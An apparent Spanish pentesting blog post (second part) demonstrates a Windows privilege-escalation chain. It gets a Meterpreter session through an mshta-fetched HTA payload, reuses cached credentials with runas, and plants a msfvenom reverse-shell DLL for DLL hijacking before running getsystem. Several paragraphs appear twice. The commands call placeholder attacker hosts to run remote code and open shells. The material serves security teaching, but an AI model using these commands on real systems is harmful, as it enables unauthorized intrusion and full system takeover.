En la primera parte de este artículo vimos las diferentes técnicas y "tricks" que se pueden utilizar para llegar a conseguir la ansiada Elevación de Privilegios en un proyecto de Ethical Hacking. Para poder ver en un ejemplo cómo se utilizan en un entorno de post-explotación, hemos preparado un escenario donde vamos a ver cómo se puede puede realizar enlazando tres debilidades.
Figura 12: PrivEsc: Gestión de credenciales + Debilidad en permisos
+ DLL Hijacking (2 de 2) #pentest
Este escenario propuesto podría usarse con otras muchas técnicas de las vistas anteriormente. La idea es ver cómo se pueden ir encadenando algunas pruebas, no todo es llegar y ‘besar el santo’. En este escenario, iremos viendo cómo de un usuario ‘raso’ pasamos a un usuario del grupo admin y de ahí a admin y SYSTEM.
Para comenzar, obtenemos una sesión de Meterpreter con el módulo exploit/Windows/misc/hta_server. Este módulo es similar al de exploit/multi/script/web_delivery.
Tras configurar el módulo, lo lanzaremos y obtendremos una URL con un recurso HTA. Este recurso lo utilizaremos en una shell o una Powershell junto al binario mshta.exe de la siguiente forma: mshta.exe http://IP:PUERTO/recurso.hta. Una vez obtengamos la sesión estamos simulando que comprometemos la máquina. Se compromete el proceso de un usuario sin privilegios en la máquina.
Podríamos ir realizando los pasos enumerados anteriormente y algunas cosas más para ver qué podemos encontrar respecto a una posible escalada de privilegios, pero nos quedamos con el siguiente paso. Revisamos con cmdkey /list si existe alguna credencial cacheada.
Figura 13: Metasploit para pentesters Gold Edition |
Para comenzar, obtenemos una sesión de Meterpreter con el módulo exploit/Windows/misc/hta_server. Este módulo es similar al de exploit/multi/script/web_delivery.
Figura 14: Metasploit módulo hta_server
Tras configurar el módulo, lo lanzaremos y obtendremos una URL con un recurso HTA. Este recurso lo utilizaremos en una shell o una Powershell junto al binario mshta.exe de la siguiente forma: mshta.exe http://IP:PUERTO/recurso.hta. Una vez obtengamos la sesión estamos simulando que comprometemos la máquina. Se compromete el proceso de un usuario sin privilegios en la máquina.
Figura 15: Ejecución del módulo hta_server
Podríamos ir realizando los pasos enumerados anteriormente y algunas cosas más para ver qué podemos encontrar respecto a una posible escalada de privilegios, pero nos quedamos con el siguiente paso. Revisamos con cmdkey /list si existe alguna credencial cacheada.
Como podemos ver, encontramos que hay una credencial del usuario IEUser cacheada y que podremos utilizar. Este primer paso nos permite lograr escalar de un usuario ‘raso’ a un usuario del grupo admin, pero seguiremos ejecutando en un nivel de integridad medio nuestro proceso nuevo, por lo que no lograremos estar en el ansiado nivel de integridad alto.
Figura 16: Credencial cacheada
Ahora, vamos a hacer uso del comando runas para ejecutar un proceso con el usuario que nos interesa. Antes con, por ejemplo, msfvenom podemos crear un binario y subirlo a la máquina. Es cierto que aquí habrá que jugar con que el AV lo pille o no. También podríamos hacer uso de la técnica anterior para ejecutar con mshta.exe o con una Powershell que nos devuelva un Meterpreter.
Figura 17: Pentesting con Powershell 2ª Edición |
Sea como sea, podemos ver que obtenemos una nueva sesión. Esta nueva sesión nos permite ejecutar como IEUser. No ejecutamos en un nivel de integridad alto, pero estando con este usuario podríamos intentar un bypass de UAC, lo cual simplificaría mucho las cosas y lograr llegar a SYSTEM.
Vamos a ir por el camino del no bypass UAC. Obtenemos una nueva sesión y encontramos entre el listado de aplicaciones una que es vulnerable a DLL Hijacking. Revisamos los permisos y encontramos que los usuarios rasos tienen control total sobre la carpeta. Si estudiamos este tipo de aplicaciones podemos encontrar con Process Monitor que hay DLLs que “se echan en falta” por lo que podríamos aplicar DLL Hijacking.
De manera sencilla creamos una DLL, por ejemplo con msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=YYYY -f dll > nombre.dll. Si esta DLL es invocada por un usuario con privilegio, obtenemos la escalada. Hay que pensar que, tal y donde está instalada en la máquina, dicha aplicación puede ser utilizada por cualquier usuario del sistema, por lo que puede ser cuestión de tiempo. Otra opción es si es arrancada por un servicio esperar a que el servicio arranque si no lo podemos reiniciar nosotros.
Aquí tenemos el ejemplo de la obtención de una nueva sesión, una vez que el usuario Administrador ejecuta la aplicación. En este punto nuestra sesión se está ejecutando en nivel de integridad alto, por lo que ya podemos hacer uso de ‘getsystem’ o de la técnica named pipe impersonation.
Otra opción interesante para ir encontrando las debilidades es el uso de repositorios y funciones como las que podemos encontrar en PowerUp. Aquí tenemos el ejemplo de Invoke-PrivescAudit, con la que podemos enumerar una serie de ejemplos.
La salida de Invoke-PrivescAudit es extensa, incluyendo algunas de las técnicas que hemos enumerado anteriormente. Dentro de PowerUp podemos encontrar funciones que ayudan a llevar a cabo la ejecución y aprovechamiento de las debilidades con el fin de lograr la escalada.
Sin duda, el mundo de la escalada de privilegios es un mundo dinámico en el que mezclamos diferentes caminos y debemos disponer de un gran número de comprobaciones y no solo quedarnos en la existencia o no de vulnerabilidades por falta de actualizaciones. Estas son solo algunas de las cosas que podemos comprobar, ya que hay muchas más cosas que nos pueden ayudar a lograr esa ansiada escalada.
Figura 18: Nueva sesión con el usuario descubierto
Vamos a ir por el camino del no bypass UAC. Obtenemos una nueva sesión y encontramos entre el listado de aplicaciones una que es vulnerable a DLL Hijacking. Revisamos los permisos y encontramos que los usuarios rasos tienen control total sobre la carpeta. Si estudiamos este tipo de aplicaciones podemos encontrar con Process Monitor que hay DLLs que “se echan en falta” por lo que podríamos aplicar DLL Hijacking.
Figura 19: Revisión de acls de los ficheros
De manera sencilla creamos una DLL, por ejemplo con msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=YYYY -f dll > nombre.dll. Si esta DLL es invocada por un usuario con privilegio, obtenemos la escalada. Hay que pensar que, tal y donde está instalada en la máquina, dicha aplicación puede ser utilizada por cualquier usuario del sistema, por lo que puede ser cuestión de tiempo. Otra opción es si es arrancada por un servicio esperar a que el servicio arranque si no lo podemos reiniciar nosotros.
Figura 20: Ubicación de la DLL en el sistema de ficheros
Aquí tenemos el ejemplo de la obtención de una nueva sesión, una vez que el usuario Administrador ejecuta la aplicación. En este punto nuestra sesión se está ejecutando en nivel de integridad alto, por lo que ya podemos hacer uso de ‘getsystem’ o de la técnica named pipe impersonation.
Figura 21: Explotación de la elevación de privilegios
Otra opción interesante para ir encontrando las debilidades es el uso de repositorios y funciones como las que podemos encontrar en PowerUp. Aquí tenemos el ejemplo de Invoke-PrivescAudit, con la que podemos enumerar una serie de ejemplos.
Figura 22: Enumeracion de privilegios
La salida de Invoke-PrivescAudit es extensa, incluyendo algunas de las técnicas que hemos enumerado anteriormente. Dentro de PowerUp podemos encontrar funciones que ayudan a llevar a cabo la ejecución y aprovechamiento de las debilidades con el fin de lograr la escalada.
Figura 23: Escalada hecha
Sin duda, el mundo de la escalada de privilegios es un mundo dinámico en el que mezclamos diferentes caminos y debemos disponer de un gran número de comprobaciones y no solo quedarnos en la existencia o no de vulnerabilidades por falta de actualizaciones. Estas son solo algunas de las cosas que podemos comprobar, ya que hay muchas más cosas que nos pueden ayudar a lograr esa ansiada escalada.
Saludos,
Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters: Gold Edition", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root", “Pentesting con Powershell (2ª Edición)”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica. Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox
Contactar con Pablo González |
No entiendo muy bien el escenario, el modulo exploit/Windows/misc/hta_server te lo caza el defender facilmente. Y pasa un poco lo mismo con los modulos usados en el libro de powershell, estaría bien una actualización para los que lo hemos comprado hace poco con algún repo con sugerencias, o alternativas.
ResponderEliminar